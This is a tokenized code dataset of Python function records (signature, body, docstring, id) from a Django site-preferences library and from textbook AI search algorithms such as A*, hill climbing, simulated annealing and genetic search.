{"signature": "def __init__(<EOL>self, name, default, category=None, field=None, verbose_name=None, help_text='<STR_LIT>', static=True,<EOL>readonly=False):", "body": "self.name = name<EOL>self.category = category<EOL>self.default = default<EOL>self.static = static<EOL>self.help_text = help_text<EOL>if static:<EOL><INDENT>readonly = True<EOL><DEDENT>self.readonly = readonly<EOL>if verbose_name is None:<EOL><INDENT>verbose_name = name.replace('<STR_LIT:_>', '<STR_LIT:U+0020>').capitalize()<EOL><DEDENT>self.verbose_name = verbose_name<EOL>if field is None:<EOL><INDENT>self.field = get_field_for_proxy(self)<EOL><DEDENT>else:<EOL><INDENT>self.field = field<EOL>update_field_from_proxy(self.field, self)<EOL><DEDENT>", "docstring": ":param str|unicode name: Preference name.\n\n:param default: Default (initial) value.\n\n:param str|unicode category: Category name the preference belongs to.\n\n:param Field field: Django model field to represent this preference.\n\n:param str|unicode verbose_name: Field verbose name.\n\n:param str|unicode help_text: Field help text.\n\n:param bool static: Leave this preference static (do not store in DB).\n\n:param bool readonly: Make this field read only.", "id": "f1668:c3:m0"}
{"signature": "@classmethod<EOL><INDENT>def read_prefs(cls, mem_prefs):<DEDENT>", "body": "db_prefs = {<EOL>'<STR_LIT>' % (pref['<STR_LIT>'], pref['<STR_LIT:name>']): pref for pref in<EOL>cls.objects.values().order_by('<STR_LIT>', '<STR_LIT:name>')<EOL>}<EOL>new_prefs = []<EOL>for app, prefs in mem_prefs.items():<EOL><INDENT>for pref_name, pref_proxy in prefs.items():<EOL><INDENT>if not pref_proxy.static:  <EOL><INDENT>key = '<STR_LIT>' % (app, pref_name)<EOL>if key in db_prefs:<EOL><INDENT>pref_proxy.db_value = db_prefs[key]['<STR_LIT:text>']<EOL><DEDENT>else:<EOL><INDENT>new_prefs.append(cls(app=app, name=pref_name, text=pref_proxy.default))<EOL><DEDENT><DEDENT><DEDENT><DEDENT>if new_prefs:<EOL><INDENT>try:<EOL><INDENT>cls.objects.bulk_create(new_prefs)<EOL><DEDENT>except IntegrityError:  <EOL><INDENT>pass<EOL><DEDENT><DEDENT>", "docstring": "Initializes preferences entries in DB according to currently discovered prefs.\n\n        :param dict mem_prefs:", "id": "f1669:c0:m1"}
{"signature": "def on_pref_update(*args, **kwargs):", "body": "Preference.update_prefs(*args, **kwargs)<EOL>Preference.read_prefs(get_prefs())<EOL>", "docstring": "Triggered on dynamic preferences model save.\n     Issues DB save and reread.", "id": "f1670:m0"}
{"signature": "def get_prefs():", "body": "global __PREFS_REGISTRY<EOL>if __PREFS_REGISTRY is None:<EOL><INDENT>__PREFS_REGISTRY = __PREFS_DEFAULT_REGISTRY<EOL><DEDENT>return __PREFS_REGISTRY<EOL>", "docstring": "Returns a dictionary with all preferences discovered by siteprefs.", "id": "f1670:m1"}
{"signature": "def get_app_prefs(app=None):", "body": "if app is None:<EOL><INDENT>with Frame(stepback=<NUM_LIT:1>) as frame:<EOL><INDENT>app = frame.f_globals['<STR_LIT>'].split('<STR_LIT:.>')[<NUM_LIT:0>]<EOL><DEDENT><DEDENT>prefs = get_prefs()<EOL>if app not in prefs:<EOL><INDENT>return {}<EOL><DEDENT>return prefs[app]<EOL>", "docstring": "Returns a dictionary with preferences for a certain app/module.\n\n    :param str|unicode app:\n\n    :rtype: dict", "id": "f1670:m2"}
{"signature": "def get_prefs_models():", "body": "return __MODELS_REGISTRY<EOL>", "docstring": "Returns registered preferences models indexed by application names.\n\n    :rtype: dict", "id": "f1670:m3"}
{"signature": "def bind_proxy(values, category=None, field=None, verbose_name=None, help_text='<STR_LIT>', static=True, readonly=False):", "body": "addrs = OrderedDict()<EOL>depth = <NUM_LIT:3><EOL>for local_name, locals_dict in traverse_local_prefs(depth):<EOL><INDENT>addrs[id(locals_dict[local_name])] = local_name<EOL><DEDENT>proxies = []<EOL>locals_dict = get_frame_locals(depth)<EOL>for value in values:  <EOL><INDENT>id_val = id(value)<EOL>if id_val in addrs:<EOL><INDENT>local_name = addrs[id_val]<EOL>local_val = locals_dict[local_name]<EOL>if isinstance(local_val, PatchedLocal) and not isinstance(local_val, PrefProxy):<EOL><INDENT>proxy = PrefProxy(<EOL>local_name, value.val,<EOL>category=category,<EOL>field=field,<EOL>verbose_name=verbose_name,<EOL>help_text=help_text,<EOL>static=static,<EOL>readonly=readonly,<EOL>)<EOL>app_name = locals_dict['<STR_LIT>'].split('<STR_LIT:.>')[-<NUM_LIT:2>]  <EOL>prefs = get_prefs()<EOL>if app_name not in prefs:<EOL><INDENT>prefs[app_name] = OrderedDict()<EOL><DEDENT>prefs[app_name][local_name.lower()] = proxy<EOL>locals_dict[local_name] = proxy<EOL>proxies.append(proxy)<EOL><DEDENT><DEDENT><DEDENT>return proxies<EOL>", "docstring": "Binds PrefProxy objects to module variables used by apps as preferences.\n\n    :param list|tuple values: Preference values.\n\n    :param str|unicode category: Category name the preference belongs to.\n\n    :param Field field: Django model field to represent this preference.\n\n    :param str|unicode verbose_name: Field verbose name.\n\n    :param str|unicode help_text: Field help text.\n\n    :param bool static: Leave this preference static (do not store in DB).\n\n    :param bool readonly: Make this field read only.\n\n    :rtype: list", "id": "f1670:m4"}
{"signature": "def register_admin_models(admin_site):", "body": "global __MODELS_REGISTRY<EOL>prefs = get_prefs()<EOL>for app_label, prefs_items in prefs.items():<EOL><INDENT>model_class = get_pref_model_class(app_label, prefs_items, get_app_prefs)<EOL>if model_class is not None:<EOL><INDENT>__MODELS_REGISTRY[app_label] = model_class<EOL>admin_site.register(model_class, get_pref_model_admin_class(prefs_items))<EOL><DEDENT><DEDENT>", "docstring": "Registers dynamically created preferences models for Admin interface.\n\n    :param admin.AdminSite admin_site: AdminSite object.", "id": "f1670:m5"}
{"signature": "def autodiscover_siteprefs(admin_site=None):", "body": "if admin_site is None:<EOL><INDENT>admin_site = admin.site<EOL><DEDENT>if '<STR_LIT>' not in sys.argv[<NUM_LIT:0>] or (len(sys.argv) > <NUM_LIT:1> and sys.argv[<NUM_LIT:1>] in MANAGE_SAFE_COMMANDS):<EOL><INDENT>import_prefs()<EOL>Preference.read_prefs(get_prefs())<EOL>register_admin_models(admin_site)<EOL><DEDENT>", "docstring": "Automatically discovers and registers all preferences available in all apps.\n\n    :param admin.AdminSite admin_site: Custom AdminSite object.", "id": "f1670:m6"}
{"signature": "def patch_locals(depth=<NUM_LIT:2>):", "body": "for name, locals_dict in traverse_local_prefs(depth):<EOL><INDENT>locals_dict[name] = PatchedLocal(name, locals_dict[name])<EOL><DEDENT>get_frame_locals(depth)[__PATCHED_LOCALS_SENTINEL] = True<EOL>", "docstring": "Temporarily (see unpatch_locals()) replaces all module variables\n    considered preferences with PatchedLocal objects, so that every\n    variable has different hash returned by id().", "id": "f1670:m7"}
{"signature": "def unpatch_locals(depth=<NUM_LIT:3>):", "body": "for name, locals_dict in traverse_local_prefs(depth):<EOL><INDENT>if isinstance(locals_dict[name], PatchedLocal):<EOL><INDENT>locals_dict[name] = locals_dict[name].val<EOL><DEDENT><DEDENT>del get_frame_locals(depth)[__PATCHED_LOCALS_SENTINEL]<EOL>", "docstring": "Restores the original values of module variables\n    considered preferences if they are still PatchedLocal\n    and not PrefProxy.", "id": "f1670:m8"}
{"signature": "def proxy_settings_module(depth=<NUM_LIT:3>):", "body": "proxies = []<EOL>modules = sys.modules<EOL>module_name = get_frame_locals(depth)['<STR_LIT>']<EOL>module_real = modules[module_name]<EOL>for name, locals_dict in traverse_local_prefs(depth):<EOL><INDENT>value = locals_dict[name]<EOL>if isinstance(value, PrefProxy):<EOL><INDENT>proxies.append(name)<EOL><DEDENT><DEDENT>new_module = type(module_name, (ModuleType, ModuleProxy), {})(module_name)  <EOL>new_module.bind(module_real, proxies)<EOL>modules[module_name] = new_module<EOL>", "docstring": "Replaces a settings module with a Module proxy to intercept\n    an access to settings.\n\n    :param int depth: Frame count to go backward.", "id": "f1670:m9"}
{"signature": "def register_prefs(*args, **kwargs):", "body": "swap_settings_module = bool(kwargs.get('<STR_LIT>', True))<EOL>if __PATCHED_LOCALS_SENTINEL not in get_frame_locals(<NUM_LIT:2>):<EOL><INDENT>raise SitePrefsException('<STR_LIT>')<EOL><DEDENT>bind_proxy(args, **kwargs)<EOL>unpatch_locals()<EOL>swap_settings_module and proxy_settings_module()<EOL>", "docstring": "Registers preferences that should be handled by siteprefs.\n\n    Expects preferences as *args.\n\n    Use keyword arguments to batch apply params supported by\n    ``PrefProxy`` to all preferences not constructed by ``pref`` and ``pref_group``.\n\n    Batch kwargs:\n\n        :param str|unicode help_text: Field help text.\n\n        :param bool static: Leave this preference static (do not store in DB).\n\n        :param bool readonly: Make this field read only.\n\n    :param bool swap_settings_module: Whether to automatically replace settings module\n        with a special ``ProxyModule`` object to access dynamic values of settings\n        transparently (so not to bother with calling ``.value`` of ``PrefProxy`` object).", "id": "f1670:m10"}
{"signature": "def pref_group(title, prefs, help_text='<STR_LIT>', static=True, readonly=False):", "body": "bind_proxy(prefs, title, help_text=help_text, static=static, readonly=readonly)<EOL>for proxy in prefs:  <EOL><INDENT>if isinstance(proxy, PrefProxy):<EOL><INDENT>proxy.category = title<EOL><DEDENT><DEDENT>", "docstring": "Marks preferences group.\n\n    :param str|unicode title: Group title\n\n    :param list|tuple prefs: Preferences to group.\n\n    :param str|unicode help_text: Field help text.\n\n    :param bool static: Leave this preference static (do not store in DB).\n\n    :param bool readonly: Make this field read only.", "id": "f1670:m11"}
{"signature": "def pref(preference, field=None, verbose_name=None, help_text='<STR_LIT>', static=True, readonly=False):", "body": "try:<EOL><INDENT>bound = bind_proxy(<EOL>(preference,),<EOL>field=field,<EOL>verbose_name=verbose_name,<EOL>help_text=help_text,<EOL>static=static,<EOL>readonly=readonly,<EOL>)<EOL>return bound[<NUM_LIT:0>]<EOL><DEDENT>except IndexError:<EOL><INDENT>return<EOL><DEDENT>", "docstring": "Marks a preference.\n\n    :param preference: Preference variable.\n\n    :param Field field: Django model field to represent this preference.\n\n    :param str|unicode verbose_name: Field verbose name.\n\n    :param str|unicode help_text: Field help text.\n\n    :param bool static: Leave this preference static (do not store in DB).\n\n    :param bool readonly: Make this field read only.\n\n    :rtype: PrefProxy|None", "id": "f1670:m12"}
{"signature": "def bind(self, module, prefs):", "body": "self._module = module<EOL>self._prefs = set(prefs)<EOL>", "docstring": ":param ModuleType module:\n:param list prefs: Preference names. Just to speed up __getattr__.", "id": "f1670:c0:m1"}
{"signature": "def tree_search(problem, frontier):", "body": "frontier.append(Node(problem.initial))<EOL>while frontier:<EOL><INDENT>node = frontier.pop()<EOL>if problem.goal_test(node.state):<EOL><INDENT>return node<EOL><DEDENT>frontier.extend(node.expand(problem))<EOL><DEDENT>return None<EOL>", "docstring": "Search through the successors of a problem to find a goal.\n    The argument frontier should be an empty queue.\n    Don't worry about repeated paths to a state. [Fig. 3.7]", "id": "f1675:m0"}
{"signature": "def graph_search(problem, frontier):", "body": "frontier.append(Node(problem.initial))<EOL>explored = set()<EOL>while frontier:<EOL><INDENT>node = frontier.pop()<EOL>if problem.goal_test(node.state):<EOL><INDENT>return node<EOL><DEDENT>explored.add(node.state)<EOL>frontier.extend(child for child in node.expand(problem)<EOL>if child.state not in explored<EOL>and child not in frontier)<EOL><DEDENT>return None<EOL>", "docstring": "Search through the successors of a problem to find a goal.\n    The argument frontier should be an empty queue.\n    If two paths reach a state, only use the first one. [Fig. 3.7]", "id": "f1675:m1"}
{"signature": "def breadth_first_tree_search(problem):", "body": "return tree_search(problem, FIFOQueue())<EOL>", "docstring": "Search the shallowest nodes in the search tree first.", "id": "f1675:m2"}
{"signature": "def depth_first_tree_search(problem):", "body": "return tree_search(problem, Stack())<EOL>", "docstring": "Search the deepest nodes in the search tree first.", "id": "f1675:m3"}
{"signature": "def depth_first_graph_search(problem):", "body": "return graph_search(problem, Stack())<EOL>", "docstring": "Search the deepest nodes in the search tree first.", "id": "f1675:m4"}
{"signature": "def breadth_first_search(problem):", "body": "node = Node(problem.initial)<EOL>if problem.goal_test(node.state):<EOL><INDENT>return node<EOL><DEDENT>frontier = FIFOQueue()<EOL>frontier.append(node)<EOL>explored = set()<EOL>while frontier:<EOL><INDENT>node = frontier.pop()<EOL>explored.add(node.state)<EOL>for child in node.expand(problem):<EOL><INDENT>if child.state not in explored and child not in frontier:<EOL><INDENT>if problem.goal_test(child.state):<EOL><INDENT>return child<EOL><DEDENT>frontier.append(child)<EOL><DEDENT><DEDENT><DEDENT>return None<EOL>", "docstring": "[Fig. 3.11]", "id": "f1675:m5"}
{"signature": "def best_first_graph_search(problem, f):", "body": "f = memoize(f, '<STR_LIT:f>')<EOL>node = Node(problem.initial)<EOL>if problem.goal_test(node.state):<EOL><INDENT>return node<EOL><DEDENT>frontier = PriorityQueue(min, f)<EOL>frontier.append(node)<EOL>explored = set()<EOL>while frontier:<EOL><INDENT>node = frontier.pop()<EOL>if problem.goal_test(node.state):<EOL><INDENT>return node<EOL><DEDENT>explored.add(node.state)<EOL>for child in node.expand(problem):<EOL><INDENT>if child.state not in explored and child not in frontier:<EOL><INDENT>frontier.append(child)<EOL><DEDENT>elif child in frontier:<EOL><INDENT>incumbent = frontier[child]<EOL>if f(child) < f(incumbent):<EOL><INDENT>del frontier[incumbent]<EOL>frontier.append(child)<EOL><DEDENT><DEDENT><DEDENT><DEDENT>return None<EOL>", "docstring": "Search the nodes with the lowest f scores first.\n    You specify the function f(node) that you want to minimize; for example,\n    if f is a heuristic estimate to the goal, then we have greedy best\n    first search; if f is node.depth then we have breadth-first search.\n    There is a subtlety: the line \"f = memoize(f, 'f')\" means that the f\n    values will be cached on the nodes as they are computed. So after doing\n    a best first search you can examine the f values of the path returned.", "id": "f1675:m6"}
{"signature": "def uniform_cost_search(problem):", "body": "return best_first_graph_search(problem, lambda node: node.path_cost)<EOL>", "docstring": "[Fig. 3.14]", "id": "f1675:m7"}
{"signature": "def depth_limited_search(problem, limit=<NUM_LIT:50>):", "body": "def recursive_dls(node, problem, limit):<EOL><INDENT>if problem.goal_test(node.state):<EOL><INDENT>return node<EOL><DEDENT>elif node.depth == limit:<EOL><INDENT>return '<STR_LIT>'<EOL><DEDENT>else:<EOL><INDENT>cutoff_occurred = False<EOL>for child in node.expand(problem):<EOL><INDENT>result = recursive_dls(child, problem, limit)<EOL>if result == '<STR_LIT>':<EOL><INDENT>cutoff_occurred = True<EOL><DEDENT>elif result is not None:<EOL><INDENT>return result<EOL><DEDENT><DEDENT>return if_(cutoff_occurred, '<STR_LIT>', None)<EOL><DEDENT><DEDENT>return recursive_dls(Node(problem.initial), problem, limit)<EOL>", "docstring": "[Fig. 3.17]", "id": "f1675:m8"}
{"signature": "def iterative_deepening_search(problem):", "body": "for depth in range(sys.maxsize):<EOL><INDENT>result = depth_limited_search(problem, depth)<EOL>if result != '<STR_LIT>':<EOL><INDENT>return result<EOL><DEDENT><DEDENT>", "docstring": "[Fig. 3.18]", "id": "f1675:m9"}
{"signature": "def astar_search(problem, h=None):", "body": "h = memoize(h or problem.h, '<STR_LIT:h>')<EOL>return best_first_graph_search(problem, lambda n: n.path_cost + h(n))<EOL>", "docstring": "A* search is best-first graph search with f(n) = g(n)+h(n).\n    You need to specify the h function when you call astar_search, or\n    else in your Problem subclass.", "id": "f1675:m10"}
{"signature": "def recursive_best_first_search(problem, h=None):", "body": "h = memoize(h or problem.h, '<STR_LIT:h>')<EOL>def RBFS(problem, node, flimit):<EOL><INDENT>if problem.goal_test(node.state):<EOL><INDENT>return node, <NUM_LIT:0>   <EOL><DEDENT>successors = node.expand(problem)<EOL>if len(successors) == <NUM_LIT:0>:<EOL><INDENT>return None, infinity<EOL><DEDENT>for s in successors:<EOL><INDENT>s.f = max(s.path_cost + h(s), node.f)<EOL><DEDENT>while True:<EOL><INDENT>successors.sort(lambda x,y: cmp(x.f, y.f)) <EOL>best = successors[<NUM_LIT:0>]<EOL>if best.f > flimit:<EOL><INDENT>return None, best.f<EOL><DEDENT>if len(successors) > <NUM_LIT:1>:<EOL><INDENT>alternative = successors[<NUM_LIT:1>].f<EOL><DEDENT>else:<EOL><INDENT>alternative = infinity<EOL><DEDENT>result, best.f = RBFS(problem, best, min(flimit, alternative))<EOL>if result is not None:<EOL><INDENT>return result, best.f<EOL><DEDENT><DEDENT><DEDENT>node = Node(problem.initial)<EOL>node.f = h(node)<EOL>result, bestf = RBFS(problem, node, infinity)<EOL>return result<EOL>", "docstring": "[Fig. 3.26]", "id": "f1675:m11"}
{"signature": "def hill_climbing(problem):", "body": "current = Node(problem.initial)<EOL>while True:<EOL><INDENT>neighbors = current.expand(problem)<EOL>if not neighbors:<EOL><INDENT>break<EOL><DEDENT>neighbor = argmax_random_tie(neighbors,<EOL>lambda node: problem.value(node.state))<EOL>if problem.value(neighbor.state) <= problem.value(current.state):<EOL><INDENT>break<EOL><DEDENT>current = neighbor<EOL><DEDENT>return current.state<EOL>", "docstring": "From the initial node, keep choosing the neighbor with highest value,\n    stopping when no neighbor is better. [Fig. 4.2]", "id": "f1675:m12"}
{"signature": "def exp_schedule(k=<NUM_LIT:20>, lam=<NUM_LIT>, limit=<NUM_LIT:100>):", "body": "return lambda t: if_(t < limit, k * math.exp(-lam * t), <NUM_LIT:0>)<EOL>", "docstring": "One possible schedule function for simulated annealing", "id": "f1675:m13"}
{"signature": "def simulated_annealing(problem, schedule=exp_schedule()):", "body": "current = Node(problem.initial)<EOL>for t in range(sys.maxsize):<EOL><INDENT>T = schedule(t)<EOL>if T == <NUM_LIT:0>:<EOL><INDENT>return current<EOL><DEDENT>neighbors = current.expand(problem)<EOL>if not neighbors:<EOL><INDENT>return current<EOL><DEDENT>next = random.choice(neighbors)<EOL>delta_e = problem.value(next.state) - problem.value(current.state)<EOL>if delta_e > <NUM_LIT:0> or probability(math.exp(delta_e/T)):<EOL><INDENT>current = next<EOL><DEDENT><DEDENT>", "docstring": "[Fig. 4.5]", "id": "f1675:m14"}
{"signature": "def and_or_graph_search(problem):", "body": "unimplemented()<EOL>", "docstring": "[Fig. 4.11]", "id": "f1675:m15"}
{"signature": "def online_dfs_agent(s1):", "body": "unimplemented()<EOL>", "docstring": "[Fig. 4.21]", "id": "f1675:m16"}
{"signature": "def lrta_star_agent(s1):", "body": "unimplemented()<EOL>", "docstring": "[Fig. 4.24]", "id": "f1675:m17"}
{"signature": "def genetic_search(problem, fitness_fn, ngen=<NUM_LIT:1000>, pmut=<NUM_LIT:0.1>, n=<NUM_LIT:20>):", "body": "s = problem.initial_state<EOL>states = [problem.result(s, a) for a in problem.actions(s)]<EOL>random.shuffle(states)<EOL>return genetic_algorithm(states[:n], problem.value, ngen, pmut)<EOL>", "docstring": "Call genetic_algorithm on the appropriate parts of a problem.\n    This requires the problem to have states that can mate and mutate,\n    plus a value method that scores states.", "id": "f1675:m18"}
{"signature": "def genetic_algorithm(population, fitness_fn, ngen=<NUM_LIT:1000>, pmut=<NUM_LIT:0.1>):", "body": "for i in range(ngen):<EOL><INDENT>new_population = []<EOL>for i in len(population):<EOL><INDENT>fitnesses = list(map(fitness_fn, population))<EOL>p1, p2 = weighted_sample_with_replacement(population, fitnesses, <NUM_LIT:2>)<EOL>child = p1.mate(p2)<EOL>if random.uniform(<NUM_LIT:0>, <NUM_LIT:1>) < pmut:<EOL><INDENT>child.mutate()<EOL><DEDENT>new_population.append(child)<EOL><DEDENT>population = new_population<EOL><DEDENT>return argmax(population, fitness_fn)<EOL>", "docstring": "[Fig. 4.8]", "id": "f1675:m19"}
{"signature": "def UndirectedGraph(dict=None):", "body": "return Graph(dict=dict, directed=False)<EOL>", "docstring": "Build a Graph where every edge (including future ones) goes both ways.", "id": "f1675:m20"}
{"signature": "def RandomGraph(nodes=list(range(<NUM_LIT:10>)), min_links=<NUM_LIT:2>, width=<NUM_LIT>, height=<NUM_LIT>,<EOL>curvature=lambda: random.uniform(<NUM_LIT>, <NUM_LIT>)):", "body": "g = UndirectedGraph()<EOL>g.locations = {}<EOL>for node in nodes:<EOL><INDENT>g.locations[node] = (random.randrange(width), random.randrange(height))<EOL><DEDENT>for i in range(min_links):<EOL><INDENT>for node in nodes:<EOL><INDENT>if len(g.get(node)) < min_links:<EOL><INDENT>here = g.locations[node]<EOL>def distance_to_node(n):<EOL><INDENT>if n is node or g.get(node,n): return infinity<EOL>return distance(g.locations[n], here)<EOL><DEDENT>neighbor = argmin(nodes, distance_to_node)<EOL>d = distance(g.locations[neighbor], here) * curvature()<EOL>g.connect(node, neighbor, int(d))<EOL><DEDENT><DEDENT><DEDENT>return g<EOL>", "docstring": "Construct a random graph, with the specified nodes, and random links.\n    The nodes are laid out randomly on a (width x height) rectangle.\n    Then each node is connected to the min_links nearest neighbors.\n    Because inverse links are added, some nodes will have more connections.\n    The distance between nodes is the hypotenuse times curvature(),\n    where curvature() defaults to a random number between 1.1 and 1.5.", "id": "f1675:m21"}
{"signature": "def random_boggle(n=<NUM_LIT:4>):", "body": "cubes = [cubes16[i % <NUM_LIT:16>] for i in range(n*n)]<EOL>random.shuffle(cubes)<EOL>return list(map(random.choice, cubes))<EOL>", "docstring": "Return a random Boggle board of size n x n.\n    We represent a board as a linear list of letters.", "id": "f1675:m22"}
{"signature": "def print_boggle(board):", "body": "n2 = len(board); n = exact_sqrt(n2)<EOL>for i in range(n2):<EOL><INDENT>if i % n == <NUM_LIT:0> and i > <NUM_LIT:0>: print()<EOL>if board[i] == '<STR_LIT>': print('<STR_LIT>', end='<STR_LIT:U+0020>')<EOL>else: print(str(board[i]) + '<STR_LIT:U+0020>', end='<STR_LIT:U+0020>')<EOL><DEDENT>print()<EOL>", "docstring": "Print the board in a 2-d array.", "id": "f1675:m23"}
{"signature": "def boggle_neighbors(n2, cache={}):", "body": "if cache.get(n2):<EOL><INDENT>return cache.get(n2)<EOL><DEDENT>n = exact_sqrt(n2)<EOL>neighbors = [None] * n2<EOL>for i in range(n2):<EOL><INDENT>neighbors[i] = []<EOL>on_top = i < n<EOL>on_bottom = i >= n2 - n<EOL>on_left = i % n == <NUM_LIT:0><EOL>on_right = (i+<NUM_LIT:1>) % n == <NUM_LIT:0><EOL>if not on_top:<EOL><INDENT>neighbors[i].append(i - n)<EOL>if not on_left:  neighbors[i].append(i - n - <NUM_LIT:1>)<EOL>if not on_right: neighbors[i].append(i - n + <NUM_LIT:1>)<EOL><DEDENT>if not on_bottom:<EOL><INDENT>neighbors[i].append(i + n)<EOL>if not on_left:  neighbors[i].append(i + n - <NUM_LIT:1>)<EOL>if not on_right: neighbors[i].append(i + n + <NUM_LIT:1>)<EOL><DEDENT>if not on_left: neighbors[i].append(i - <NUM_LIT:1>)<EOL>if not on_right: neighbors[i].append(i + <NUM_LIT:1>)<EOL><DEDENT>cache[n2] = neighbors<EOL>return neighbors<EOL>", "docstring": "Return a list of lists, where the i-th element is the list of indexes\n    for the neighbors of square i.", "id": "f1675:m24"}
{"signature": "def exact_sqrt(n2):", "body": "n = int(math.sqrt(n2))<EOL>assert n * n == n2<EOL>return n<EOL>", "docstring": "If n2 is a perfect square, return its square root, else raise error.", "id": "f1675:m25"}
{"signature": "def boggle_hill_climbing(board=None, ntimes=<NUM_LIT:100>, verbose=True):", "body": "finder = BoggleFinder()<EOL>if board is None:<EOL><INDENT>board = random_boggle()<EOL><DEDENT>best = len(finder.set_board(board))<EOL>for _ in range(ntimes):<EOL><INDENT>i, oldc = mutate_boggle(board)<EOL>new = len(finder.set_board(board))<EOL>if new > best:<EOL><INDENT>best = new<EOL>if verbose: print(best, _, board)<EOL><DEDENT>else:<EOL><INDENT>board[i] = oldc <EOL><DEDENT><DEDENT>if verbose:<EOL><INDENT>print_boggle(board)<EOL><DEDENT>return board, best<EOL>", "docstring": "Solve inverse Boggle by hill-climbing: find a high-scoring board by\n    starting with a random one and changing it.", "id": "f1675:m26"}
{"signature": "def compare_graph_searchers():", "body": "compare_searchers(problems=[GraphProblem('<STR_LIT:A>', '<STR_LIT:B>', romania),<EOL>GraphProblem('<STR_LIT:O>', '<STR_LIT:N>', romania),<EOL>GraphProblem('<STR_LIT>', '<STR_LIT>', australia)],<EOL>header=['<STR_LIT>', '<STR_LIT>', '<STR_LIT>', '<STR_LIT>'])<EOL>", "docstring": "Prints a table of results like this:\n    >>> compare_graph_searchers()\n    Searcher                      Romania(A, B)        Romania(O, N)         Australia          \n    breadth_first_tree_search     <  21/  22/  59/B>   <1158/1159/3288/N>    <   7/   8/  22/WA>\n    breadth_first_search          <   7/  11/  18/B>   <  19/  20/  45/N>    <   2/   6/   8/WA>\n    depth_first_graph_search      <   8/   9/  20/B>   <  16/  17/  38/N>    <   4/   5/  11/WA>\n    iterative_deepening_search    <  11/  33/  31/B>   < 656/1815/1812/N>    <   3/  11/  11/WA>\n    depth_limited_search          <  54/  65/ 185/B>   < 387/1012/1125/N>    <  50/  54/ 200/WA>\n    recursive_best_first_search   <   5/   6/  15/B>   <5887/5888/16532/N>   <  11/  12/  43/WA>", "id": "f1675:m30"}
{"signature": "def __init__(self, initial, goal=None):", "body": "self.initial = initial; self.goal = goal<EOL>", "docstring": "The constructor specifies the initial state, and possibly a goal\n        state, if there is a unique goal.  Your subclass's constructor can add\n        other arguments.", "id": "f1675:c0:m0"}
{"signature": "def actions(self, state):", "body": "abstract<EOL>", "docstring": "Return the actions that can be executed in the given\n        state. The result would typically be a list, but if there are\n        many actions, consider yielding them one at a time in an\n        iterator, rather than building them all at once.", "id": "f1675:c0:m1"}
{"signature": "def result(self, state, action):", "body": "abstract<EOL>", "docstring": "Return the state that results from executing the given\n        action in the given state. The action must be one of\n        self.actions(state).", "id": "f1675:c0:m2"}
{"signature": "def path_cost(self, c, state1, action, state2):", "body": "return c + <NUM_LIT:1><EOL>", "docstring": "Return the cost of a solution path that arrives at state2 from\n        state1 via action, assuming cost c to get up to state1. If the problem\n        is such that the path doesn't matter, this function will only look at\n        state2.  If the path does matter, it will consider c and maybe state1\n        and action. The default method costs 1 for every step in the path.", "id": "f1675:c0:m4"}
{"signature": "def value(self, state):", "body": "abstract<EOL>", "docstring": "For optimization problems, each state has a value.  Hill-climbing\n        and related algorithms try to maximize this value.", "id": "f1675:c0:m5"}
{"signature": "def __init__(self, state, parent=None, action=None, path_cost=<NUM_LIT:0>):", "body": "<EOL>update(self, state=state, parent=parent, action=action,<EOL>path_cost=path_cost, depth=<NUM_LIT:0>)<EOL>if parent:<EOL><INDENT>self.depth = parent.depth + <NUM_LIT:1><EOL><DEDENT>", "docstring": "Create a search tree Node, derived from a parent by an action.", "id": "f1675:c1:m0"}
{"signature": "def expand(self, problem):", "body": "return [self.child_node(problem, action)<EOL>for action in problem.actions(self.state)]<EOL>", "docstring": "List the nodes reachable in one step from this node.", "id": "f1675:c1:m2"}
{"signature": "def child_node(self, problem, action):", "body": "next = problem.result(self.state, action)<EOL>return Node(next, self, action,<EOL>problem.path_cost(self.path_cost, self.state, action, next))<EOL>", "docstring": "Fig. 3.10", "id": "f1675:c1:m3"}
{"signature": "def solution(self):", "body": "return [node.action for node in self.path()[<NUM_LIT:1>:]]<EOL>", "docstring": "Return the sequence of actions to go from the root to this node.", "id": "f1675:c1:m4"}
{"signature": "def path(self):", "body": "node, path_back = self, []<EOL>while node:<EOL><INDENT>path_back.append(node)<EOL>node = node.parent<EOL><DEDENT>return list(reversed(path_back))<EOL>", "docstring": "Return a list of nodes forming the path from the root to this node.", "id": "f1675:c1:m5"}
{"signature": "def mate(self, other):", "body": "c = random.randrange(len(self.genes))<EOL>return self.__class__(self.genes[:c] + other.genes[c:])<EOL>", "docstring": "Return a new individual crossing self and other.", "id": "f1675:c3:m1"}
{"signature": "def mutate(self):", "body": "abstract<EOL>", "docstring": "Change a few of my genes.", "id": "f1675:c3:m2"}
{"signature": "def make_undirected(self):", "body": "for a in list(self.dict.keys()):<EOL><INDENT>for (b, distance) in list(self.dict[a].items()):<EOL><INDENT>self.connect1(b, a, distance)<EOL><DEDENT><DEDENT>", "docstring": "Make a digraph into an undirected graph by adding symmetric edges.", "id": "f1675:c4:m1"}
{"signature": "def connect(self, A, B, distance=<NUM_LIT:1>):", "body": "self.connect1(A, B, distance)<EOL>if not self.directed: self.connect1(B, A, distance)<EOL>", "docstring": "Add a link from A and B of given distance, and also add the inverse\n        link if the graph is undirected.", "id": "f1675:c4:m2"}
{"signature": "def connect1(self, A, B, distance):", "body": "self.dict.setdefault(A,{})[B] = distance<EOL>", "docstring": "Add a link from A to B of given distance, in one direction only.", "id": "f1675:c4:m3"}
{"signature": "def get(self, a, b=None):", "body": "links = self.dict.setdefault(a, {})<EOL>if b is None: return links<EOL>else: return links.get(b)<EOL>", "docstring": "Return a link distance or a dict of {node: distance} entries.\n        .get(a,b) returns the distance or None;\n        .get(a) returns a dict of {node: distance} entries, possibly {}.", "id": "f1675:c4:m4"}
{"signature": "def nodes(self):", "body": "return list(self.dict.keys())<EOL>", "docstring": "Return a list of nodes in the graph.", "id": "f1675:c4:m5"}
{"signature": "def actions(self, A):", "body": "return list(self.graph.get(A).keys())<EOL>", "docstring": "The actions at a graph node are just its neighbors.", "id": "f1675:c5:m1"}
{"signature": "def result(self, state, action):", "body": "return action<EOL>", "docstring": "The result of going to a neighbor is just that neighbor.", "id": "f1675:c5:m2"}
{"signature": "def h(self, node):", "body": "locs = getattr(self.graph, '<STR_LIT>', None)<EOL>if locs:<EOL><INDENT>return int(distance(locs[node.state], locs[self.goal]))<EOL><DEDENT>else:<EOL><INDENT>return infinity<EOL><DEDENT>", "docstring": "h function is straight-line distance from a node's state to goal.", "id": "f1675:c5:m4"}
